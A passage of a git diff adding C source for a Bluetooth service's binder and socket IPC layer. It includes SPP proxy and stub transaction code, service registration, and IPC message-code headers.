AIBinder_decStrong(binder); + + return cbks; +} + +void BtSppCallbacks_delete(IBtSppCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/spp_proxy.c b/service/ipc/binder/src/spp_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..5cf6f2a4ddcd6553ff9b585914b41c1c3830c4db --- /dev/null +++ b/service/ipc/binder/src/spp_proxy.c @@ -0,0 +1,252 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +// #include <android/binder_auto_utils.h> +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "parcel.h" +#include "spp_proxy.h" +#include "spp_stub.h" +#include "utils/log.h" + +void* BpBtSpp_registerApp(BpBtSpp* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t handle; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, ISPP_REGISTER_APP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &handle); + if (stat != STATUS_OK) + return NULL; + + return (void*)handle; +} + +bt_status_t BpBtSpp_unRegisterApp(BpBtSpp* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, ISPP_UNREGISTER_APP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtSpp_serverStart(BpBtSpp* bpBinder, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t maxConnection) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)scn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUuid(parcelIn, uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)maxConnection); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, ISPP_SERVER_START, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtSpp_serverStop(BpBtSpp* bpBinder, void* handle, uint16_t scn) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)scn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, ISPP_SERVER_STOP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtSpp_connect(BpBtSpp* bpBinder, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + uint32_t outPort; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeInt32(parcelIn, (int32_t)scn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUuid(parcelIn, uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, ISPP_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &outPort); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + *port = (uint16_t)outPort; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtSpp_disconnect(BpBtSpp* bpBinder, void* handle, bt_address_t* addr, uint16_t port) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)port); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, ISPP_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/spp_stub.c b/service/ipc/binder/src/spp_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..f140f221c978ffb3ee91e85760ca73a1f4835516 --- /dev/null +++ b/service/ipc/binder/src/spp_stub.c @@ -0,0 +1,283 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "service_manager.h" +#include "spp_service.h" + +#include "parcel.h" +#include "spp_callbacks_proxy.h" +#include "spp_callbacks_stub.h" +#include "spp_proxy.h" +#include "spp_stub.h" +#include "utils/log.h" + +#define BT_SPP_DESC "BluetoothSpp" + +static void* IBtSpp_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtSpp_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtSpp_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + + spp_interface_t* profile = (spp_interface_t*)service_manager_get_profile(PROFILE_SPP); + if (!profile) + return stat; + + switch (code) { + case ISPP_REGISTER_APP: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtSppCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* handle = profile->register_app(remote, BpBtSppCallbacks_getStatic()); + stat = AParcel_writeUint32(reply, (uint32_t)handle); + break; + } + case ISPP_UNREGISTER_APP: { + AIBinder* remote = NULL; + uint32_t handle; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + bt_status_t status = profile->unregister_app((void**)&remote, (void*)handle); + if ((status == BT_STATUS_SUCCESS) && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeUint32(reply, status); + break; + } + case ISPP_SERVER_START: { + uint32_t handle; + uint32_t status; + bt_uuid_t uuid; + uint32_t scn, maxConns; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &scn); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(in, &uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &maxConns); + if (stat != STATUS_OK) + return stat; + + status = profile->server_start((void*)handle, (uint16_t)scn, &uuid, (uint8_t)maxConns); + stat = AParcel_writeUint32(reply, status); + break; + } + case ISPP_SERVER_STOP: { + uint32_t handle; + uint32_t status; + uint32_t scn; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &scn); + if (stat != STATUS_OK) + return stat; + + status = profile->server_stop((void*)handle, (uint16_t)scn); + stat = AParcel_writeUint32(reply, status); + break; + } + case ISPP_CONNECT: { + uint32_t handle; + uint32_t status; + bt_uuid_t uuid; + bt_address_t addr; + int32_t scn; + uint16_t port = 0; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readInt32(in, &scn); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(in, &uuid); + if (stat != STATUS_OK) + return stat; + + status = profile->connect((void*)handle, &addr, (int16_t)scn, &uuid, &port); + stat = AParcel_writeUint32(reply, (uint32_t)port); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + break; + } + case ISPP_DISCONNECT: { + uint32_t handle; + uint32_t status; + bt_address_t addr; + uint32_t port = 0; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &port); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect((void*)handle, &addr, (uint16_t)port); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtSpp_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_SPP_DESC, IBtSpp_Class_onCreate, + IBtSpp_Class_onDestroy, IBtSpp_Class_onTransact); + + return clazz; +} + +static AIBinder* BtSpp_getBinder(IBtSpp* spp) +{ + AIBinder* binder = NULL; + + if (spp->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(spp->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(spp->clazz, (void*)spp); + if (spp->WeakBinder != NULL) { + AIBinder_Weak_delete(spp->WeakBinder); + } + + spp->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtSpp_addService(IBtSpp* spp, const char* instance) +{ + spp->clazz = (AIBinder_Class*)BtSpp_getClass(); + AIBinder* binder = BtSpp_getBinder(spp); + spp->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtSpp* BpBtSpp_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtSpp* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtSpp_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtSpp_delete(BpBtSpp* bpSpp) +{ + AIBinder_decStrong(bpSpp->binder); + free(bpSpp); +} + +AIBinder* BtSpp_getService(BpBtSpp** bpSpp, const char* instance) +{ + BpBtSpp* bpBinder = *bpSpp; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtSpp_new(instance); + if (!bpBinder) + return NULL; + + *bpSpp = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/bluetooth_ipc.c b/service/ipc/bluetooth_ipc.c new file mode 100644 index 0000000000000000000000000000000000000000..962a0c86a205bc73c6f10e186600e6b820757627 --- /dev/null +++ b/service/ipc/bluetooth_ipc.c @@ -0,0 +1,190 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bluetooth_ipc.h" +#include "service_loop.h" +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_BINDER_IPC +#include "adapter_stub.h" +#include "bluetooth_stub.h" +#include "gattc_stub.h" +#include "gatts_stub.h" +#include "hfp_ag_stub.h" +#include "hfp_hf_stub.h" +#include "hid_device_stub.h" +#include "pan_stub.h" +#include "spp_stub.h" +#endif +#include "utils/log.h" + +#include "bt_socket.h" + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_BINDER_IPC +static IBtManager binderManager = { 0 }; +static IBtAdapter binderAdapter = { 0 }; + +#ifdef CONFIG_BLUETOOTH_HFP_AG +static IBtHfpAg binderHfpAg = { 0 }; +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF +static IBtHfpHf binderHfpHf = { 0 }; +#endif +#ifdef CONFIG_BLUETOOTH_SPP +static IBtSpp binderSpp = { 0 }; +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE +static IBtHidd binderHidd = { 0 }; +#endif +#ifdef CONFIG_BLUETOOTH_PAN +static IBtPan binderPan = { 0 }; +#endif +#ifdef CONFIG_BLUETOOTH_GATT +static IBtGattClient binderGattc = { 0 }; +static IBtGattServer binderGatts = { 0 }; +#endif + +static void ipc_pollin_process(service_poll_t* poll, int revent, void* userdata) +{ + Bluetooth_handlePolledCommands(); +} + +static int add_ipc_poll_setup(void* data) +{ + binder_status_t stat; + service_poll_t* poll; + int fd = -1; + + stat = Bluetooth_setupPolling(&fd); + if (stat != STATUS_OK || fd <= 0) { + BT_LOGD("%s :%d", __func__, stat); + return fd; + } + + poll = service_loop_poll_fd(fd, POLL_READABLE, ipc_pollin_process, NULL); + if (poll == NULL) { + BT_LOGD("%s setup poll failed", __func__); + return -1; + } + + return 0; +} + +bt_status_t bluetooth_ipc_add_services(void) +{ + binder_status_t stat = BtManager_addService(&binderManager, MANAGER_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Manager Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } + + stat = BtAdapter_addService(&binderAdapter, ADAPTER_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Adapter Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } + +#ifdef CONFIG_BLUETOOTH_HFP_HF + stat = BtHfpHf_addService(&binderHfpHf, HFP_HF_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add HfpHf Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + +#ifdef CONFIG_BLUETOOTH_HFP_AG + stat = BtHfpAg_addService(&binderHfpAg, HFP_AG_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add HfpAg Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + +#ifdef CONFIG_BLUETOOTH_SPP + stat = BtSpp_addService(&binderSpp, SPP_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Spp Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + stat = BtHidd_addService(&binderHidd, HID_DEVICE_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add HidDevice Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + +#ifdef CONFIG_BLUETOOTH_PAN + stat = BtPan_addService(&binderPan, PAN_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Pan Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + +#ifdef CONFIG_BLUETOOTH_GATT + stat = BtGattClient_addService(&binderGattc, GATT_CLIENT_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Gattc Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } + stat = BtGattServer_addService(&binderGatts, GATT_SERVER_BINDER_INSTANCE); + if (stat != STATUS_OK) { + BT_LOGD("Add Gatts Service Failed:%d", stat); + return BT_STATUS_IPC_ERROR; + } +#endif + + return BT_STATUS_SUCCESS; +} + +void bluetooth_ipc_join_thread_pool(void) +{ + Bluetooth_joinThreadPool(); +} + +void bluetooth_ipc_join_service_loop(void) +{ + add_init_process(add_ipc_poll_setup); +} + +#else + +static int add_ipc_server_setup(void* data) +{ + int ret = bt_socket_server_init("bluetooth", CONFIG_BLUETOOTH_SOCKET_PORT); + if (ret < 0) { + BT_LOGE("%s error: %d", __func__, ret); + return ret; + } + + return 0; +} + +bt_status_t bluetooth_ipc_add_services(void) +{ + add_init_process(add_ipc_server_setup); + return BT_STATUS_SUCCESS; +} + +void bluetooth_ipc_join_thread_pool(void) +{ +} + +void bluetooth_ipc_join_service_loop(void) +{ +} +#endif diff --git a/service/ipc/bluetooth_ipc.h b/service/ipc/bluetooth_ipc.h new file mode 100644 index 0000000000000000000000000000000000000000..de9559563099a9971c67de101fbe78d16a2521ec --- /dev/null +++ b/service/ipc/bluetooth_ipc.h @@ -0,0 +1,34 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BLUETOOTH_IPC_H__ +#define __BLUETOOTH_IPC_H__ + +#include "bt_status.h" +#include <stdbool.h> +#include <stdint.h> + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_LOCAL +#define bluetooth_ipc_add_services() +#define bluetooth_ipc_join_thread_pool() +#define bluetooth_ipc_join_service_loop() +#else +bt_status_t bluetooth_ipc_add_services(void); +void bluetooth_ipc_join_thread_pool(void); +void bluetooth_ipc_join_service_loop(void); +#endif + +#endif /* __BLUETOOTH_IPC_H__ */ diff --git a/service/ipc/socket/include/bt_ipc_code.h b/service/ipc/socket/include/bt_ipc_code.h new file mode 100644 index 0000000000000000000000000000000000000000..a2b41c178d3253991a98d184dc4a777a327cf155 --- /dev/null +++ b/service/ipc/socket/include/bt_ipc_code.h @@ -0,0 +1,78 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_IPC_CODE_H__ +#define _BT_IPC_CODE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_profile.h" + +// BT_IPC_CODE_TYPE +#define BT_IPC_CODE_TYPE_COMMAND (0) +#define BT_IPC_CODE_TYPE_CALLBACK (1) + +// BT_IPC_CODE_GROUP +#define BT_IPC_CODE_GROUP_LEGACY (0) +#define BT_IPC_CODE_GROUP_ADAPTER (1) +#define BT_IPC_CODE_GROUP_DEVICE (2) +#define BT_IPC_CODE_GROUP_MANAGER (3) +#define BT_IPC_CODE_GROUP_LOG (4) +#define BT_IPC_CODE_GROUP_BLE_ADVERTISER (5) +#define BT_IPC_CODE_GROUP_BLE_SCAN (6) +#define BT_IPC_CODE_GROUP_L2CAP (7) + +#define BT_IPC_CODE_GROUP_PROFILES (16) +#define BT_IPC_CODE_GROUP_A2DP_SRC (BT_IPC_CODE_GROUP_PROFILES + PROFILE_A2DP) +#define BT_IPC_CODE_GROUP_A2DP_SINK (BT_IPC_CODE_GROUP_PROFILES + PROFILE_A2DP_SINK) +#define BT_IPC_CODE_GROUP_AVRCP_CT (BT_IPC_CODE_GROUP_PROFILES + PROFILE_AVRCP_CT) +#define BT_IPC_CODE_GROUP_AVRCP_TG (BT_IPC_CODE_GROUP_PROFILES + PROFILE_AVRCP_TG) +#define BT_IPC_CODE_GROUP_HFP_HF (BT_IPC_CODE_GROUP_PROFILES + PROFILE_HFP_HF) +#define BT_IPC_CODE_GROUP_HFP_AG (BT_IPC_CODE_GROUP_PROFILES + PROFILE_HFP_AG) +#define BT_IPC_CODE_GROUP_SPP (BT_IPC_CODE_GROUP_PROFILES + PROFILE_SPP) +#define BT_IPC_CODE_GROUP_HID_DEV (BT_IPC_CODE_GROUP_PROFILES + PROFILE_HID_DEV) +#define BT_IPC_CODE_GROUP_PANU (BT_IPC_CODE_GROUP_PROFILES + PROFILE_PANU) +#define BT_IPC_CODE_GROUP_GATTC (BT_IPC_CODE_GROUP_PROFILES + PROFILE_GATTC) +#define BT_IPC_CODE_GROUP_GATTS (BT_IPC_CODE_GROUP_PROFILES + PROFILE_GATTS) +#define BT_IPC_CODE_GROUP_LEAUDIO_SERVER (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_SERVER) +#define BT_IPC_CODE_GROUP_LEAUDIO_MCP (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_MCP) +#define BT_IPC_CODE_GROUP_LEAUDIO_CCP (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_CCP) +#define BT_IPC_CODE_GROUP_LEAUDIO_VMICS (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_VMICS) +#define BT_IPC_CODE_GROUP_LEAUDIO_CLIENT (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_CLIENT) +#define BT_IPC_CODE_GROUP_LEAUDIO_MCS (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_MCS) +#define BT_IPC_CODE_GROUP_LEAUDIO_TBS (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_TBS) +#define BT_IPC_CODE_GROUP_LEAUDIO_VMICP (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_VMICP) +#define BT_IPC_CODE_GROUP_LEAUDIO_VMICP (BT_IPC_CODE_GROUP_PROFILES + PROFILE_LEAUDIO_VMICP) + +#define BT_IPC_CODE(type, group, subcode) (((uint32_t)(type) << 24) | ((uint32_t)(group) << 16) | ((uint32_t)(subcode))) + +#define BT_IPC_GET_TYPE(code) (((uint32_t)(code) >> 24) & 0x01) +#define BT_IPC_GET_GROUP(code) (((uint32_t)(code) >> 16) & 0xFF) +#define BT_IPC_GET_SUBCODE(code) ((uint32_t)(code)&0xFFFF) + +#define BT_IPC_CODE_SUBCODE_MAX_NUM (0xFFFF) + +#define BT_IPC_CODE_CHECK_RANGE(code, begin, end) (((uint32_t)(code) > (uint32_t)(begin)) && ((uint32_t)(code) < (uint32_t)(end))) +#define BT_IPC_CODE_CHECK_TYPE(code, type) ((uint32_t)(BT_IPC_GET_TYPE(code)) == (uint32_t)(type)) +#define BT_IPC_CODE_CHECK_GROUP(code, group) ((uint32_t)(BT_IPC_GET_GROUP(code)) == (uint32_t)(group)) +#define BT_IPC_CODE_CHECK_SUBCODE(code, subcode) ((uint32_t)(BT_IPC_GET_SUBCODE(code)) == (uint32_t)(subcode)) + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_IPC_CODE_H__ */ diff --git a/service/ipc/socket/include/bt_message.h b/service/ipc/socket/include/bt_message.h new file mode 100644 index 0000000000000000000000000000000000000000..b1fc8e1eb53dd642be41916d2bd0311bf6ee5f67 --- /dev/null +++ b/service/ipc/socket/include/bt_message.h @@ -0,0 +1,178 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_MESSAGE_H__ +#define _BT_MESSAGE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_message_a2dp_sink.h" +#include "bt_message_a2dp_source.h" +#include "bt_message_adapter.h" +#include "bt_message_advertiser.h" +#include "bt_message_avrcp_control.h" +#include "bt_message_avrcp_target.h" +#include "bt_message_device.h" +#include "bt_message_gattc.h" +#include "bt_message_gatts.h" +#include "bt_message_hfp_ag.h" +#include "bt_message_hfp_hf.h" +#include "bt_message_hid_device.h" +#include "bt_message_l2cap.h" +#include "bt_message_log.h" +#include "bt_message_manager.h" +#include "bt_message_pan.h" +#include "bt_message_scan.h" +#include "bt_message_spp.h" + +#include "service_loop.h" + +typedef enum { +#define __BT_MESSAGE_CODE__ + BT_MESSAGE_START, +#include "bt_message_a2dp_sink.h" +#include "bt_message_a2dp_source.h" +#include "bt_message_adapter.h" +#include "bt_message_advertiser.h" +#include "bt_message_avrcp_control.h" +#include "bt_message_avrcp_target.h" +#include "bt_message_device.h" +#include "bt_message_gattc.h" +#include "bt_message_gatts.h" +#include "bt_message_hfp_ag.h" +#include "bt_message_hfp_hf.h" +#include "bt_message_hid_device.h" +#include "bt_message_l2cap.h" +#include "bt_message_log.h" +#include "bt_message_manager.h" +#include "bt_message_pan.h" +#include "bt_message_scan.h" +#include "bt_message_spp.h" + BT_MESSAGE_END, +#undef __BT_MESSAGE_CODE__ +#define __BT_CALLBACK_CODE__ + BT_CALLBACK_START, +#include "bt_message_a2dp_sink.h" +#include "bt_message_a2dp_source.h" +#include "bt_message_adapter.h" +#include "bt_message_advertiser.h" +#include "bt_message_avrcp_control.h" +#include "bt_message_avrcp_target.h" +#include "bt_message_device.h" +#include "bt_message_gattc.h" +#include "bt_message_gatts.h" +#include "bt_message_hfp_ag.h" +#include "bt_message_hfp_hf.h" +#include "bt_message_hid_device.h" +#include "bt_message_l2cap.h" +#include "bt_message_manager.h" +#include "bt_message_pan.h" +#include "bt_message_scan.h" +#include "bt_message_spp.h" + BT_CALLBACK_END, +#undef __BT_MESSAGE_CODE__ +} bt_message_type_t; + +#pragma pack(4) +typedef struct +{ + uint32_t code; /* bt_message_type_t */ + uint64_t context; + union { + bt_manager_result_t manager_r; + bt_adapter_result_t adpt_r; + bt_device_result_t devs_r; + bt_a2dp_sink_result_t a2dp_sink_r; + bt_a2dp_source_result_t a2dp_source_r; + bt_avrcp_target_result_t avrcp_target_r; + bt_avrcp_control_result_t avrcp_control_r; + bt_hfp_ag_result_t hfp_ag_r; + bt_hfp_hf_result_t hfp_hf_r; + bt_advertiser_result_t adv_r; + bt_scan_result_t scan_r; + bt_gattc_result_t gattc_r; + bt_gatts_result_t gatts_r; + bt_spp_result_t spp_r; + bt_pan_result_t pan_r; + bt_hid_device_result_t hidd_r; + 